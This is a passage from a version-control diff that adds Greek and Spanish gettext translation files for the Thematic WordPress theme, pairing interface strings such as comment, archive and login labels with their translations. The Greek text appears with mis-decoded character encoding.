D:\Web\Wordpress\dev\wp-content\themes\thematic/archive.php:18 +#, php-format +msgid "Monthly Archives: %s" +msgstr "ΑÏχείο μηνός: %s" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/archive.php:20 +#, php-format +msgid "Yearly Archives: %s" +msgstr "ΑÏχείο έτους: %s" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/archive.php:22 +msgid "Blog Archives" +msgstr "ΑÏχείο ιστολογίου" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/archive.php:31 +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/archive.php:53 +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/author.php:21 +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/author.php:57 +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/category.php:20 +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/category.php:42 +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/index.php:17 +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/index.php:49 +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/search.php:21 +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/search.php:43 +msgid "« Older posts" +msgstr "« ΠÏοηγοÏμενα άÏθÏα" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/archive.php:32 +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/archive.php:54 +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/author.php:22 +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/author.php:58 +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/category.php:21 +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/category.php:43 +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/index.php:18 +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/index.php:50 +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/search.php:22 +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/search.php:44 +msgid "Newer posts »" +msgstr "Επόμενα άÏθÏα »" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/archive.php:41 +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/attachment.php:20 +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/author.php:45 +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/category.php:30 +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/index.php:30 +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/search.php:31 +msgid "Read More »" +msgstr "Συνέχεια »" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/archives.php:20 +msgid "Archives by Category" +msgstr "ΑÏχείο κατά κατηγοÏία" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/archives.php:26 +msgid "Archives by Month" +msgstr "ΑÏχείο κατά μήνα" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/archives.php:32 +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/links.php:20 +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/page.php:16 +msgid "Edit" +msgstr "ΕπεξεÏγασία" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/attachment.php:22 +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/index.php:32 +msgid "Pages:" +msgstr "Σελίδες: " + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/author.php:15 +msgid "Author Archives: " +msgstr "ΑÏχείο συντάκτη: " + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/author.php:34 +msgid "Email " +msgstr "Ηλ. διεÏθυνση" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/category.php:13 +msgid "Category Archives:" +msgstr "ΑÏχείο κατηγοÏίας: " + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/comments.php:10 +msgid "This post is password protected. Enter the password to view any comments." +msgstr "Το άÏθÏο Ï€ÏοστατεÏεται με συνθηματικό. Για να δείτε τα σχόλια, πληκτÏολογήστε το συνθηματικό σας." + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/comments.php:31 +#, php-format +msgid "%d Comments" +msgstr "%d σχόλια" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/comments.php:31 +msgid "One Comment" +msgstr "Ένα σχόλιο" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/comments.php:52 +#, php-format +msgid "%d Trackbacks" +msgstr "%d Ï„Ïάκμπακ" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/comments.php:52 +msgid "One Trackback" +msgstr "Ένα Ï„Ïάκμπακ" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/comments.php:67 +msgid "Post a Comment" +msgstr "Αφήστε σχόλιο" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/comments.php:67 +#, php-format +msgid "Post a Reply to %s" +msgstr "Απαντήστε στο %s" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/comments.php:72 +#, php-format +msgid "You must be logged in to post a comment." +msgstr "Για να σχολιάσετε Ï€Ïέπει να συνδεθείτε." + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/comments.php:83 +#, php-format +msgid "Logged in as %2$s. Log out?" +msgstr "Έχετε συνδεθεί ως %2$s. ΑποσÏνδεση;" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/comments.php:90 +msgid "Your email is never published nor shared." +msgstr "Η διεÏθυνσή σας δεν δημοσιεÏεται οÏτε κοινοποιείται!" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/comments.php:90 +msgid "Required fields are marked *" +msgstr "Τα πεδία με αστεÏίσκο (*) είναι υποχÏεωτικά." + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/comments.php:93 +msgid "Name" +msgstr "Όνομα" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/comments.php:93 +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/comments.php:98 +msgid "*" +msgstr "*" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/comments.php:98 +msgid "Email" +msgstr "Ηλ. διεÏθυνση" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/comments.php:103 +msgid "Website" +msgstr "Ιστοσελίδα" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/comments.php:110 +msgid "Comment" +msgstr "Σχόλιο" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/comments.php:115 +msgid "You may use these HTML tags and attributes:" +msgstr "ΕπιτÏέπεται η χÏήση των εξής στοιχείων και ιδιοτήτων HTML:" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/comments.php:120 +msgid "Post Comment" +msgstr "Υποβολή" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/page.php:14 +msgid "Pages: " +msgstr "Σελίδες: " + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/search.php:15 +msgid "Search Results for:" +msgstr "Αποτελέσματα για: " + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/search.php:51 +msgid "Nothing Found" +msgstr "Δεν βÏέθηκαν άÏθÏα" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/search.php:53 +msgid "Sorry, but nothing matched your search criteria. Please try again with some different keywords." +msgstr "Η αναζήτησή σας δεν έφεÏε αποτελέσματα. Αν θέλετε, ξαναδοκιμάστε με διαφοÏετικοÏÏ‚ ÏŒÏους." + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/sidebar.php:6 +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/sidebar.php:10 +msgid "Search" +msgstr "Αναζήτηση" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/sidebar.php:16 +msgid "Pages" +msgstr "Σελίδες" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/sidebar.php:23 +msgid "Categories" +msgstr "ΚατηγοÏίες" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/sidebar.php:31 +msgid "Archives" +msgstr "ΑÏχείο" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/sidebar.php:50 +msgid "RSS Feeds" +msgstr "Κανάλια RSS" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/sidebar.php:52 +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/hooks-filters.php:390 +msgid "Posts RSS feed" +msgstr "Κανάλι RSS άÏθÏων" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/sidebar.php:52 +msgid "All posts" +msgstr "Όλα τα άÏθÏα" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/sidebar.php:53 +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/hooks-filters.php:408 +msgid "Comments RSS feed" +msgstr "Κανάλι RSS σχολίων" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/sidebar.php:53 +msgid "All comments" +msgstr "Όλα τα σχόλια" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/sidebar.php:58 +msgid "Meta" +msgstr "ΜεταπληÏοφοÏίες" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/tag.php:13 +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/hooks-filters.php:207 +msgid "Tag Archives:" +msgstr "ΑÏχείο ετικέτας: " + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/discussion.php:10 +#, php-format +msgid "Posted %1$s at %2$s | Permalink" +msgstr "ΔημοσιεÏτηκε %1$s στις %2$s | ΣÏνδεσμος" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/discussion.php:15 +msgid "\t\t\t\t\tYour comment is awaiting moderation.\n" +msgstr "\t\t\t\t\tΤο σχόλιό σας είναι υπό έγκÏιση.\n" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/discussion.php:22 +msgid "Reply" +msgstr "Απάντηση" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/discussion.php:23 +msgid "Log in to reply." +msgstr "Συνδεθείτε για να απαντήσετε" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/discussion.php:37 +#, php-format +msgid "By %1$s on %2$s at %3$s" +msgstr "Από %1$s στις %2$s, %3$s" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/discussion.php:42 +msgid "\\t\\t\\t\\t\\tYour trackback is awaiting moderation.\\n" +msgstr "\\t\\t\\t\\t\\tΤο Ï„Ïάκμπακ είναι υπό έγκÏιση.\\n" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/helpers.php:31 +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/helpers.php:44 +msgid "There is no excerpt because this is a protected post." +msgstr "Δεν βλέπετε σÏνοψη διότι το άÏθÏο Ï€ÏοστατεÏεται με συνθηματικό." + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/hooks-filters.php:61 +msgid "Skip navigation to the content" +msgstr "Μετάβαση κατευθείαν στο πεÏιεχόμενο" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/hooks-filters.php:61 +msgid "Skip to content" +msgstr "Μετάβαση στο πεÏιεχόμενο" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/hooks-filters.php:211 +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/hooks-filters.php:497 +msgid "Not Found" +msgstr "Δεν βÏέθηκε!" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/hooks-filters.php:489 +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/hooks-filters.php:544 +msgid "Edit post" +msgstr "ΕπεξεÏγασία άÏθÏου" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/hooks-filters.php:502 +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/hooks-filters.php:597 +msgid "Permalink to " +msgstr "Μόνιμος σÏνδεσμος του " + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/hooks-filters.php:511 +msgid "By " +msgstr "Από " + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/hooks-filters.php:513 +msgid "View all posts by " +msgstr "ΠÏοβολή όλων των άÏθÏων του/της" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/hooks-filters.php:516 +msgid "Published: " +msgstr "Δημοσίευση: " + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/hooks-filters.php:551 +msgid "This entry was posted in " +msgstr "ΚαταχωÏήθηκε στην κατηγοÏία/ες: " + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/hooks-filters.php:554 +msgid "Also posted in " +msgstr "Επίσης στις κατηγοÏίες: " + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/hooks-filters.php:557 +msgid "Posted in " +msgstr "ΚατηγοÏίες: " + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/hooks-filters.php:564 +msgid " and tagged" +msgstr "– Ετικέτες: " + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/hooks-filters.php:567 +msgid " Also tagged " +msgstr " Άλλες ετικέτες: " + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/hooks-filters.php:569 +msgid "Tagged" +msgstr "Ετικέτες:" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/hooks-filters.php:578 +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/hooks-filters.php:581 +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/hooks-filters.php:584 +msgid "Comment on " +msgstr "Κάντε σχόλιο στο: " + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/hooks-filters.php:579 +msgid " Comments" +msgstr " Σχόλια" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/hooks-filters.php:582 +msgid " Comment" +msgstr " Σχόλιο" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/hooks-filters.php:585 +msgid "Leave a comment" +msgstr "ΓÏάψτε σχόλιο" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/hooks-filters.php:588 +msgid "Comments closed" +msgstr "Τα σχόλια έχουν κλείσει" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/hooks-filters.php:597 +msgid ". Bookmark the " +msgstr " – ΚÏατήστε τον " + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/hooks-filters.php:598 +msgid "permalink" +msgstr "σÏνδεσμο" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/hooks-filters.php:600 +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/hooks-filters.php:608 +msgid "Post a comment" +msgstr "– Κάντε σχόλιο" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/hooks-filters.php:601 +msgid " or leave a trackback: " +msgstr " ή αφήστε Ï„Ïάκμπακ: " + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/hooks-filters.php:602 +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/hooks-filters.php:605 +msgid "Trackback URL for your post" +msgstr "URL για Ï„Ïάκμπακ στο άÏθÏο" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/hooks-filters.php:602 +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/hooks-filters.php:605 +msgid "Trackback URL" +msgstr "URL για Ï„Ïάκμπακ" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/hooks-filters.php:604 +msgid " Comments are closed, but you can leave a trackback: " +msgstr " Τα σχόλια έχουν κλείσει. Αν θέλετε, αφήστε Ï„Ïάκμπακ: " + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/hooks-filters.php:607 +msgid " Trackbacks are closed, but you can " +msgstr " Τα Ï„Ïάκμπακ έχουν κλείσει. Αν θέλετε, " + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/hooks-filters.php:608 +msgid "post a comment" +msgstr "αφήστε ένα σχόλιο" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/hooks-filters.php:610 +msgid " Both comments and trackbacks are currently closed." +msgstr " Τα σχόλια και Ï„Ïάκμπακ είναι κλειστά επί του παÏόντος." + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/shortcodes.php:16 +msgid "Login" +msgstr "ΣÏνδεση" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/shortcodes.php:18 +msgid "Logout" +msgstr "ΑποσÏνδεση" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/theme-options.php:13 +msgid "Index Insert Position" +msgstr "Θέση ευÏετηÏίου" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/theme-options.php:14 +msgid "The widgetized Index Insert will follow after this post number." +msgstr "Μετά από πόσα άÏθÏα να εμφανίζεται η ένθετη μονάδα της αÏχικής σελίδας;" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/theme-options.php:19 +msgid "Info on Author Page" +msgstr "Σελίδες συντακτών" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/theme-options.php:20 +msgid "Display a microformatted vCard—with the author's avatar, bio and email—on the author page." +msgstr "ΠÏοβολή vCard σε μικÏοφοÏμάτ —με εικόνα, βιογÏαφικό και ηλ. διεÏθυνση— στις σελίδες συντακτών" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/theme-options.php:25 +msgid "Text in Footer" +msgstr "Κείμενο υποσέλιδου" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/theme-options.php:26 +msgid "You can use the following shortcodes in your footer text: [wp-link] [theme-link] [loginout-link] [blog-title] [the-year]" +msgstr "Στο υποσέλιδο γίνεται να χÏησιμοποιήσετε τις εξής κωδικοσυντομεÏσεις:
          [wp-link] [theme-link] [loginout-link] [blog-title] [the-year]" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/theme-options.php:28 +msgid "Powered by [wp-link]. Built on the [theme-link]." +msgstr "Με τη δÏναμη του [wp-link] και του [theme-link]" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/theme-options.php:76 +msgid "settings saved." +msgstr "– Οι Ïυθμίσεις αποθηκεÏτηκαν." + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/theme-options.php:77 +msgid "settings reset." +msgstr "– Αποκαταστάθηκαν οι αÏχικές τιμές." + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/theme-options.php:78 +msgid "widgets reset." +msgstr "– Αποκαταστάθηκαν οι αÏχικές Ïυθμίσεις μονάδων." + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/theme-options.php:191 +msgid "Save changes" +msgstr "Αποθήκευση αλλαγών" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/theme-options.php:197 +msgid "Reset" +msgstr "ΕπαναφοÏά" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/theme-options.php:203 +msgid "Reset Widgets" +msgstr "ΕπαναφοÏά μονάδων" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/theme-options.php:208 +msgid "For more information about this theme, visit ThemeShaper. Please visit the ThemeShaper Forums if you have any questions about Thematic." +msgstr "Μάθετε πεÏισσότεÏα για το Thematic: ThemeShaper.com. Για οποιαδήποτε αποÏία γÏÏω από το Thematic, είστε ευσπÏόσεκτοι στο φόÏουμ του ThemeShaper.com." + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/widgets.php:55 +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/widgets.php:245 +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/widgets.php:246 +msgid "RSS Links" +msgstr "ΣÏνδεσμοι RSS" + +#: D:\Web\Wordpress\dev\wp-content\themes\thematic/library/extensions/widgets.php:79 +msgid "Title:" +msgstr "Τίτλος:" + +#, fuzzy +#~ msgid "Site Meta" +#~ msgstr "Δείτε την ιστοσελίδα" + +#, fuzzy +#~ msgid "Blog Index" +#~ msgstr "Όνομα ιστολογίου" + diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/thematic/library/languages/es_ES.mo Binary file web/wp-content/themes/thematic/library/languages/es_ES.mo has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/thematic/library/languages/es_ES.po --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/thematic/library/languages/es_ES.po Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,523 @@ +# kubrick theme pot file. +# Copyright (C) 2007 WordPress +# This file is distributed under the same license as the kubrick theme package. +# +msgid "" +msgstr "" +"Project-Id-Version: Thematic en Español\n" +"Report-Msgid-Bugs-To: \n" +"POT-Creation-Date: 2010-02-18 20:58+0100\n" +"PO-Revision-Date: 2010-02-22 20:02+0100\n" +"Last-Translator: Chris Gossmann \n" +"Language-Team: Moskis \n" +"MIME-Version: 1.0\n" +"Content-Type: text/plain; charset=UTF-8\n" +"Content-Transfer-Encoding: 8bit\n" +"X-Poedit-Language: Spanish\n" +"X-Poedit-Country: SPAIN\n" +"X-Poedit-SourceCharset: utf-8\n" +"X-Poedit-KeywordsList: __;_e\n" +"X-Poedit-Basepath: ..\\..\\\n" +"X-Poedit-SearchPath-0: ..\\..\n" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/archives.php:42 +#: c:\xampp\htdocs\development\wp-content\themes\thematic/links.php:53 +#: c:\xampp\htdocs\development\wp-content\themes\thematic/page.php:40 +msgid "Edit" +msgstr "Editar" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/attachment.php:39 +msgid "Pages:" +msgstr "Páginas:" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/author.php:53 +msgid "Email " +msgstr "Email" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/comments.php:10 +msgid "This post is password protected. Enter the password to view any comments." +msgstr "Esta entrada está protegida por contraseña. Intrdouce la contraseña para ver los comentarios." + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/comments.php:52 +#, php-format +msgid "%d Trackbacks" +msgstr "%d Trackbacks" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/comments.php:52 +msgid "One Trackback" +msgstr "Un Trackback" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/comments.php:72 +#, php-format +msgid "You must be logged in to post a comment." +msgstr "Debes iniciar sesión para publicar un comentario." + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/comments.php:83 +#, php-format +msgid "Logged in as %2$s. Log out?" +msgstr "Logueado como %2$s. ¿Salir?" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/comments.php:90 +msgid "Your email is never published nor shared." +msgstr "Tu email nunca será publicado o compartido." + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/comments.php:90 +msgid "Required fields are marked *" +msgstr "Los campos requeridos están marcados con un * " + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/comments.php:93 +msgid "Name" +msgstr "Nombre" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/comments.php:93 +#: c:\xampp\htdocs\development\wp-content\themes\thematic/comments.php:98 +msgid "*" +msgstr "*" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/comments.php:98 +msgid "Email" +msgstr "Email" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/comments.php:103 +msgid "Website" +msgstr "Sitio Web" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/comments.php:115 +msgid "You may use these HTML tags and attributes:" +msgstr "Puedes usar estas etiquetas y atributos HTML:" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/page.php:38 +msgid "Pages: " +msgstr "Páginas: " + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/search.php:41 +msgid "Nothing Found" +msgstr "No se ha encontrado nada" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/search.php:43 +msgid "Sorry, but nothing matched your search criteria. Please try again with some different keywords." +msgstr "Lo sentimos pero no se ha encontrado nada. Por favor, inténtalo de nuevo con otros términos." + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/search.php:48 +msgid "Find" +msgstr "Buscar" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/comments-extensions.php:76 +msgid "One Comment" +msgstr "Un Comentario" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/comments-extensions.php:83 +#, php-format +msgid "%d Comments" +msgstr "%d Comentarios" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/comments-extensions.php:96 +msgid "Post a Comment" +msgstr "Publicar un Comentario" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/comments-extensions.php:103 +#, php-format +msgid "Post a Reply to %s" +msgstr "Publica una respuesta para %s" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/comments-extensions.php:110 +msgid "Comment" +msgstr "Comentar" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/comments-extensions.php:117 +msgid "Post Comment" +msgstr "Publicar Comentario" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:147 +msgid "Author Archives: " +msgstr "Archivos del autor: " + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:153 +msgid "Category Archives:" +msgstr "Archivos por categoría:" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:162 +msgid "Search Results for:" +msgstr "Resultados de la búsqueda:" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:168 +msgid "Tag Archives:" +msgstr "Archivos de etiquetas:" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:174 +#, php-format +msgid "Daily Archives: %s" +msgstr "Archivos diarios: %s" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:178 +#, php-format +msgid "Monthly Archives: %s" +msgstr "Archivos mensuales: %s" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:182 +#, php-format +msgid "Yearly Archives: %s" +msgstr "Archivos anuales: %s" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:186 +msgid "Blog Archives" +msgstr "Archivos del blog" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:209 +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:725 +msgid "« Older posts" +msgstr "« Entradas anteriores" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:210 +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:726 +msgid "Newer posts »" +msgstr "Entradas posteriores »" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:394 +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:618 +msgid "Edit post" +msgstr "Editar entrada" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:406 +msgid "Not Found" +msgstr "No Encontrado" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:411 +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:686 +msgid "Permalink to " +msgstr "Enlace permanente a" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:441 +msgid "By " +msgstr "Por " + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:444 +msgid "View all posts by " +msgstr "Ver todas las entradas por " + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:455 +msgid "Published: " +msgstr "Publicado: " + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:523 +msgid "Archives by Category" +msgstr "Archivos por Categoría" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:534 +msgid "Archives by Month" +msgstr "Archivos por Mes" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:562 +msgid "Apologies, but we were unable to find what you were looking for. Perhaps searching will help." +msgstr "Lo sentimos, pero no hemos podido encontrar lo que buscas. Prueba usando la búsqueda." + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:578 +msgid "Read More »" +msgstr "Leer Más »" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:629 +msgid "This entry was posted in " +msgstr "Esta entrada fue publicada en " + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:632 +msgid "Also posted in " +msgstr "También publicada en " + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:635 +msgid "Posted in " +msgstr "Entrada publicada en " + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:646 +msgid " and tagged" +msgstr " y clasificada en" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:649 +msgid " Also tagged " +msgstr "También etiquetada con " + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:651 +msgid "Tagged" +msgstr "Etiquetas:" + +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:663 +#: c:\xampp\htdocs\development\wp-content\themes\thematic/library/extensions/content-extensions.php:666 +#: 